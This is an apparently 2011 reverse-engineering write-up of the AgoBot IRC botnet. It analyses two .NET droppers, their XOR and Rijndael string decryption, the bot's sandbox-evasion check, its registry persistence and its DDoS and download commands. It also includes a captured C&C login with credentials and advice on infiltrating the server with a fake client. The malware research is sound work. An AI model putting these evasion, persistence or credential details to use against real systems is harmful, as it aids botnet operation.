AgoBot Botnet Reverse Engineering

From UIC

In Depth Analysis of Backdoor.AgoBot IRC Botnet

AgoBot Botnet Reverse Engineering
Author:	Evilcry
Email:	evilcry@gmail.com
Website:	Home page
Date:	07/01/2011 (dd/mm/yyyy)
Level:
Language:	English
Comments:

Introduction

Well, let's start this new year with an IRC Botnet commonly identified as Backdoor.AgoBot.

The aim of this paper is to show not only the Botnet itself, but also the Evolution of involved Droppers via a classical Reverse Engineering Approach. This time we will deal with .NET Targets, at the same time I want to show, from a classical Forensic point of view how informations can be carved out from such kind of Executables. Successively we will discuss about Generic Botnet Tracking process.

In this way newbies should have a basical complete view of what's involved into botnet research.

Tools & Files

• Samples
• OllyDbg
• CFF Explorer
• Hex-Editor
• CrypTool

Analysis

Samples are taken from malware section of kernelmode.info forum.

• Microsoft Office 2010 32b Pro+ incl. Activation!!!!!.exe
• KLU7CH~1.EXE

Usually viruses that belong to the same family are pretty similar. We can verify this assumption via CTPH ( Context Triggered Piecewise Hashes – also called Fuzzy Hashing) an algorithm usually used for Spam Detection.

It's immediate to see that our two samples have many differences this implies, according to the posting Chronology that we have had an evolution of the droppers.

Direct Reverse Engineering will demonstrate us that we're right because KLU7CH is much more complex than the first one.

Both executables comes out as Fake Tools.

First Sample Analysis

Starting from the most easy dropper Microsoft Office 2010 32b Pro+ incl. Activation!!!!!

MD5 : C4CED35A17D1BE8073895B0AFB8FC4FD SHA-1: FC02898EEFF4E50F53D46809D8C1A1AB5C083A38 File Size: 196.00 KB (200704 bytes)

According to CFF, the executable is a "Microsoft Visual Studio .NET" one.

As you should know .NET executables are a little bit different from classical ones. From a Malware and Forensic point of view, important and detailed informations are located into .NET Directory and its MetaData Section. Schematically we can enumerate the following entries:

• .NET Directory
• MetaData Header
• MetaData Streams
• Tables Header
• Tables
• .Strings
• .US
• .GUID
• .BLOB

The most interesting informations are located into MetaData Tables:

From Module Entry we have the first important information, the original name of the malicious executable was bozz.exe.

Successively as evidenced in Red Rectangles we have an Array of Methods and Parameters. An overview of these Array Entries will give us an idea of the number of methods implemented and their names, which could come handy to identify Decryption Functions, let's see how Methods array appear:

In evidence we have the methods Main and decrypt, remaining names as it's obvious are obfuscated, successively we will realize that they are quite useless for our understanding scopes.

We can obtain some additional information about methods involved. Let's say we want to know more about decrypt() function, .NET stores informations on parameters:

According to Table Section, we have a Parameter Array, here is indexed the decrypt parameter, located at entry index 9.

Finally our function will be decrypt(message, password)

The undoubt vantage of dealing with .NET Executables is that they can be Decompiled, using .NET Reflector.

We can decompile code contained into Internal Sealed Class evidenced in figure.

Code is pretty easy to understand, a new executable is dropped and executed, in case str2 variable is "T" (Transfer) file is downloaded and executed, in our case its value is "F", so file is not downloaded.

Let's see the algorithm involved into decryption routine:

Algorithm is pretty trivial, XOR Based Encryption. In a first instance latest byte of CipherText is XORed with a constant value of 0x70, successively whole CipherText is decrypted with another XOR between the constant value previously obtained and a byte from the password. When password len is reached counter is cleared and the same password is reapplied again, until the CipherText is completed.

The Cryptanalysis Point of View

In this paragraph we are going to give an overview of the encryption system used under a Cryptanalysis Point of View.

According to the decompiled decryption algorithm:

1. We have a first layer of Base64 Armoring, this implies that no key is needed and we can work with a block of data extracted from the entire cipherText.
2. Two XOR are applied to the decoded from Base64 cipherText.

Base64 constitutes only a portability or so called armored layer, this does not affect the Reversibility of the Encryption Algorithm.

XOR Encryption is based on a double layered process, basically two XOR components:

plainText[i] = ( cipherText XOR password[i] ) XOR one_byte_key

The password[i] and one_byte_key are applied cyclically to the plaintext, you can also see that password[i] (constant) is one byte like the one_byte_key (constant) and combined are:

final_password[i] = password[i] XOR one_byte

The one byte key given by message[message.Lenght-1] XOR 0x70 does not add any additional security to the cipherText.

Attack Scenario should be now clear for the reader, we have a Classical Symmetric Encryption algorithm with in a supposed ciphertext only context, it's supposed because we know some pieces of the plaintext due to the fact that File Format is known: PE.

First step is obvious, Base64 Decoding.

In presence of these kind of encryption systems the first operation to do is computing the key lenght. This can be done by calculating Autocorrelation of the Document.

"There are two stages in the analysis:

First of all the key length used is worked out, and then the key itself.

The key length is calculated using autocorrelation. Since in most documents not every character occurs equally often, the probability of two identical characters occurring is relatively large if they are separated by a multiple of the key length. Therefore in an autocorrelation analysis a typical comb formation is generated, in which the individual teeth are separated by exactly the length of the key. If automatic detection of the key length produces an incorrect result, it is possible to determine the key length manually.

Once the key length has been worked out, the actual key used is calculated. This is done by performing a frequency analysis " - from CrypTool

Let's see Autocorrelation Plot

In our case if we take the first data block, that corresponds to PE Header, due to the presence zero-padding, the most common character will be 0x00 (this can be observed with a compared plaintext Frequency Analysis).

Finally Derived Key Lenght is 16 with (as expected) Most Common value of 0x00, by overlapping these two results we can know the Encryption Key, which is:

73 77 6C 46 77 6E 73 43 74 74 60 4B 75 49 5D 6A

Entire decoded ciphertext is placed into buffer2 that will contain the malicious executable decrypted that's called oxVCfvciCKyeaaY.exe as final issue this executable will be executed.

Here ends the first dropper, what are Evidences of Infection, limited to the dropper execution?

1. The Presence of oxVCfvciCKyeaaY.exe executable into SpecialFolder -> Templates Directory. 2. Other Evidence Elements will be collected during Reverse Engineering of the dropped Executable, with the Spawned Process and Mutex Presence.

The Second Dropper KLU7CH

The second AgoBot Botnet dropper, which is the evolution of the first one, is much more complex, due to the presence of a strong encryption algorithm Rijndael that obfuscates all strings involved into infection process.

MD5: 312E26D93778ACAB517429D96D32AC77 SHA-1: 46D71DC4E05F1DDC214429F7BE99227BCF3BCC79 File Size: 288.00 KB (294912 bytes)

This time we will directly decompile it with .NET Reflector

We have only one internal sealed class with an unique method in clear which is the Mail().

First operation, is creation of a new Mutex the needed arguments are two: Mutex(False, Yc(..parameters..))

Yc() as should be clear from its arguments has the scope of Decryption Function, in this case will produce the string that belongs to the Named Mutex.

String s like in the first dropper, is Base64 Encoded, buffer will contain the corresponding decoded byte array that will be used by xf9 function.

We will see that xf9 it's a method that implements Rijndael decryption, again this time an encoded executable is decrypted and dropped, path used is:

 %\ApplicationData\Microsoft\Security

Finally a new Registry Key Entry is Created.

As you have seen, all involved strings are decrypted on fly with two functions Yc() and xf9() let's analyze these:

The most interesting thing to observe is that Yc is a wrap (with some other basical stuff) around xf9.

Xf9 finally results the core of decryption routine, that as can be easly seen it's it's an implementation of Rijndael.

To decode strings, I've ripped from disassembly view the two decryption functions Yc and xf9, and refactored the involved function arguments finally cleared xf9 from useless code.

This time our dropper leaves more Evidences than the first one:

• Mutex Name.
• Executable Dropped and Executed.
• New Registry Key Entry.

Dropped Executable Analysis ( The Botnet Core )

Let's inspect oxVCfvciCKyeaaY.exe

MD5: F9BB16D212C4D5B83CF09881D14B5685 SHA-1: 77E64986406FCDE246B98D2CFF8F92D2B04B45D5 File Size: 41.50 KB (42496 bytes) Compiler Used: Microsoft Visual C++ 6.0

No resources available.

This time we deal with a classical executable, compiled with Visual C++ 6 so we need to locate WinMain() entry and follow the code contained in.

AgoBot implements a basical system to check if the code is executed in a controlled environment, like VirtualMachines/Sandboxing Systems/HoneyPots, here the code:

The check is pretty trivial and easly deceivable, application checks if the victim UserName belongs to some Emulation System. If emulation is revealed, execution of the malicious code ends without any infection.

Otherwise, a Mutex called 45h3ghg is opened, it's interesting to say here that often Mutex constitutes an Evidence of Infection due to their unique Names.

At this point I strongly suggest you to use OllyDbg2 with Event ChildProcess Break, you will understand suddenly why.

The same file is renamed as winmsgr105.exe and copied. Successively the new file is Executed via ShellExecuteA. Now if we have ChildProcess Tracking enabled Olly2 will break into the new process.

Two new entries:

first one Software\Microsoft\Windows\CurrentVersion\Run it's used to make the botnet agent reboot-survive

second insert user "tht4545ttr" into HKEY_CURRENT_USER.

Finally we land to the last piece of code, that's the core of IRC Botnet Activity.

To catch the New Thread at this point you need to have selected the Debug Event Break on New Thread

Code is self explainatory I think, if WinSock fails the running thread ends and consecutively the main infector.

A new mutext named is created and finally a seed is produced via GetTickCount, this will be used in future to generate some random strings necessary to enstablish the IRC connection with the malicious server. It's now time deep dive into the core fuction call sub_402618 that's responsible of Building Credentials required by the IRC Server and suddenly after enstablishing that connection.

The host is resolved via getHostByName and connection enstablished, NickName contains the classical informations in the classical way of IRCBotnets, geo info | os | machine username and a random string.

It's now time start IRC negotiation, informations required are NickName, ServerPass, Username, TrueName. At this point, if connection with the server is correctly enstablished we bacame a 'new servant'.

In idle conditions, we send every 5 seconds a PING to the server, that as usual replies with a PONG.

The question now is, what task need to accomplish a drone?

Drone Analysis

The first thing I've noticed is that the channel name is #KLu7cHzDDos if you pay attention you can see DDos word at the end.

We can suppose that AgoBot is a DDoS System, but we need the proof and the knowledge of what attack techniques are used.

Due to the fact that we are inside the networking functionalities we must expect that there is a routine that parses received buffer and performs the attack.

Let's see how works the command parser:

Code is fully commented, initially application checks the number of ready socket descriptors with select(), if the value is <= 0 means that some error happeded or time limit expires before any sockets are selected. Various cases of recv() are commented, now we must see what happens in call 00402337 where the correct commands are handled with the proper routine. Code is pretty long, and in some cases boring and we don't want to terrify our newbies :) so here I'll go more briefly. call 00402337 takes two arguments SocketDescriptor S and char *Str1.

Commands

Every Botnet has a set of commands, that the C&C Master (the owner of the malicious server) can send to its victims. Without going too in depth, here how this set of instructions appear from deadlist code

Code is pretty clear, and we can easly profile the set of instructions. If 'v' command is sent is called call _IRCStringParse_ with the string that you can see from comments, else execution jump to the next case. Basically all commands follow this design, so quickly:

• "v" => Version
• "r" => Reconnect
• "hhhhe45h" => Disconnect
• "ththtrht45h45" => Remove
• "hegre" => Reboot Victim Machine

These commands belong to a group of instruction that we can call Victim Management, let's now see the commands that effectively Determine the Typology of Botnet, for teaching purposes we can call these instructions as Attack Commands.

Essentially the code design for these commands is unchanged relatively to the Victim Management ones.

• "dl" => Download Functionality
• "supersyn" => DDoS Functionality
• "udp" => UDP Flood Functionality

Due to the strict Dependence with the Time, last two commands need to be executed in separate threads.

Network

In this chapter we will see network activity captured from Wireshark.

You can distinguish two separate flows:

• DNS Resolution
• TCP Connection

The most interesting informations are given by the TCP Stream, just select one of gray entries (TCP Packet) right click and let Wireshark reconstruct for you entire Stream.

You can clearly see a classical IRC behaviour:

PASS \g*mp NICK {N}|ITA|XP|Xxxx-DF595FE|878116 USER yomvig "" "wwxj" :Xxxx-DF595FE

- 001 {N}|ITA|XP|Xxxx-DF595FE|878 :Welcome to the trye5 IRC Network {N}|ITA|XP|Xxxx-DF595FE|878!yomvig@*

- 002 {N}|ITA|XP|Xxxx DF595FE|878 :Your host is t3adjeu.govm, running version Unreal3.2.8.1

- 003 {N}|ITA|XP|Xxxx-DF595FE|878 :This server was created Wed Nov 24 2010 at 15:44:13 EST

- 005 {N}|ITA|XP|Xxxx-DF595FE|878 UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=3 CHANLIMIT=#:3 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server

- 005 {N}|ITA|XP|Xxxx-DF595FE|878 WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=trye5 CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server

JOIN #KLu7cHzDDos imklu7chz

- 251 {N}|ITA|XP|Xxxx-DF595FE|878 :There are 1 users and 55 invisible on 1 servers

JOIN #KLu7cHzDDos *

PRIVMSG #KLu7cHzDDos :New Servant.

- 404 {N}|ITA|XP|Xxxx-DF595FE|878 #KLu7cHzDDos :You need voice (+v) (#KLu7cHzDDos)

In bold the most interesting things, that we can resume in:

• Login Credentials.
• Channel and Key.
• Modes.
• Number of victims 55.

Overview on Botnet Tracking

Well, at this point of analysis we have all necessary elements to move on the second stage of Botnet Analysis, that leave the Reverse Engineering approach and starts the Botnet Tracking problem.

Essentially as you have seen, the Victim became an IRC Client of the C&C (Command and Control) Server.

Usually Victims are used form massive Spam Campaigns or DDoS and other criminal activites involved.

Became clear that a botnet threat need to be fully investigated on its behaviour and structure. This investigation activity basically means Observation of what happens, how the structure evolves and what are the new malicious executables delivered.

So, tracking means Infiltration into the Malicious Server, in the case of an IRC based Botnet (there are also HTTP and P2P ones) basically consists in emulating a victim and keeping track of all network activities involved. In other words we use stolen credentials ( obtained from reverse engineering of the executable ) to log & watch the server activity.

It's not a good practice to use well known IRC Clients (like mIrc) because it's easy for a Server to spot a fake client via CTCP Version Requests.

CERTs, Law Enforcements, Malware Research Organizations and Malware Intelligence companies uses custom IRC clients usually in multi-thread solution to keep track of malicious server activities and store collected data.

But we are common users, should we stop our research at this point? :) By keeping clear in mind that we, as classical homeland users cannot reach sophistication level of above mentioned groups.

We have two possibilities:

• Became a Victim and keep track via packet capture.
• Code a fake Client.

The second one is much more interesting, here I'll go to give you some advice.

Python best fits for this purpose because is fast to code due to the presence of nice libraries like use python-irclib

“This library is intended to encapsulate the IRC protocol at a quite low level. It provides an event-driven IRC client framework. It has a fairly thorough support for the basic IRC protocol, CTCP and DCC connections.”

python-irclib [1]

The second important reason is that often is required to extend your client in order to reply correctly to specific bot master commands. In other words you have to correctly emulate the reply of a true victim otherwise there is an high risk to be Banned.

As you have seen during our analysis certain elements of Credentials are builded with a random element, you must respect that issue basically because Always same nick is Suspect, this can be clearly accomplished by emulating the random string build algorithm.

Code is taken from Devshed. Further informations, especially on IRC Event Handling can be found here:

IRC-Event-Handling[2]

Well, here ends this little paper whose the aim is to show the basical anatomy of a Botnet Investigation starting from classical Reverse Engineering of the involved executables.

Thanks

Quequero, I really appreciate your efforts on this new Malware Analysis branch of UIC :), My Cat, Ntoskrnl, |Absinth|, Nex, Andre' di Mino, Mila Parkour, Swirl, Darkangel, Insomniac and last but not least my ARTeam mates Gunther and Deroko :)

Evilcry

Disclaimer